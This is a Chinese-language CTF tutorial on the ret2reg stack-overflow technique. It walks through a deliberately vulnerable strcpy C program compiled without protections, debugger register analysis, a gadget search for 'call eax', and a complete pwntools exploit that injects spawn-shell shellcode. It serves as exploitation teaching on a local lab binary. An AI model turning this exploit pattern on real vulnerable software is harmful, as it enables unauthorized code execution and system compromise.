中级栈溢出02 ret2reg
ret2reg
目的:
绕过ASLR
原理
查看栈溢出返回时哪个寄存器指向缓冲区空间。查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)
利用思路
分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址向寄存器指向的缓冲区中注入shellcode
查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret
防御方法
在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞Example
此类漏洞常见于strcpy字符串拷贝函数中。
#include <stdio.h> #include <string.h> void vuln(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { vuln(argv[1]); return 0; }
编译指令:
gcc -m32 -z execstack -z norelro -fno-stack-protector -no-pie -fno-pie -o ret2reg ret2reg.c
文件分析:
gdb-peda$ checksec
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
因为没开启PIE所以代码段的位置是固定的。
看一下溢出位置的汇编指令:
gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x08049196 <+0>: endbr32 0x0804919a <+4>: push ebp 0x0804919b <+5>: mov ebp,esp 0x0804919d <+7>: push ebx 0x0804919e <+8>: sub esp,0x204 0x080491a4 <+14>: call 0x804920d <__x86.get_pc_thunk.ax> 0x080491a9 <+19>: add eax,0x2103 0x080491ae <+24>: sub esp,0x8 0x080491b1 <+27>: push DWORD PTR [ebp+0x8] 0x080491b4 <+30>: lea edx,[ebp-0x208] 0x080491ba <+36>: push edx 0x080491bb <+37>: mov ebx,eax 0x080491bd <+39>: call 0x8049060 <strcpy@plt> 0x080491c2 <+44>: add esp,0x10 0x080491c5 <+47>: nop 0x080491c6 <+48>: mov ebx,DWORD PTR [ebp-0x4] 0x080491c9 <+51>: leave 0x080491ca <+52>: ret End of assembler dump.
在leave指令下断点,并且设置args为123456。
gdb-peda$ set args 123456 gdb-peda$ b *vuln+51 Breakpoint 1 at 0x80491c9: file ret2reg.c, line 6.
我们重点观察寄存器的内容:
[----------------------------------registers-----------------------------------] EAX: 0xffffcd20 ("123456") EBX: 0xf7e23e34 --> 0x223d2c (',="') ECX: 0xffffd21c ("123456") EDX: 0xffffcd20 ("123456") ESI: 0x8049220 (<__libc_csu_init>: endbr32) EDI: 0xf7ffcb80 --> 0x0 EBP: 0xffffcf28 --> 0xffffcf48 --> 0x0 ESP: 0xffffcd20 ("123456") EIP: 0x80491c9 (<vuln+51>: leave) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
我们刚才输入的数据是123456,可以看到有四个寄存器指向了缓冲区:eax、ecx、edx、esp
由于esp是栈顶指针一定会变所以不考虑。
我们打算向buf里注入shellcode 然后跳转到shellcode执行,所以我们看看有没有jmp eax/ecx/edx或者call eax/ecx/edx。
┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg] └─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "eax" 0x080490a6 : call dword ptr [eax + 0x51] 0x0804909f : call dword ptr [eax - 0x73] 0x0804901d : call eax ┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg] └─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "ecx" ┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg] └─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "edx" 0x080491b9 : call dword ptr [edx - 0x77] 0x0804914d : call edx
我们发现有两个address可以使用call_eax = 0x0804901d,call_edx = 0x0804914d。
exp:
from pwn import * shellcode = asm(shellcraft.sh()) call_eax = p32(0x0804901d) payload = flat([shellcode , b'a'* (0x20c - len(shellcode) ),call_eax]) io = process(argv=[ "./ret2reg",payload]) io.interactive()


浙公网安备 33010602011771号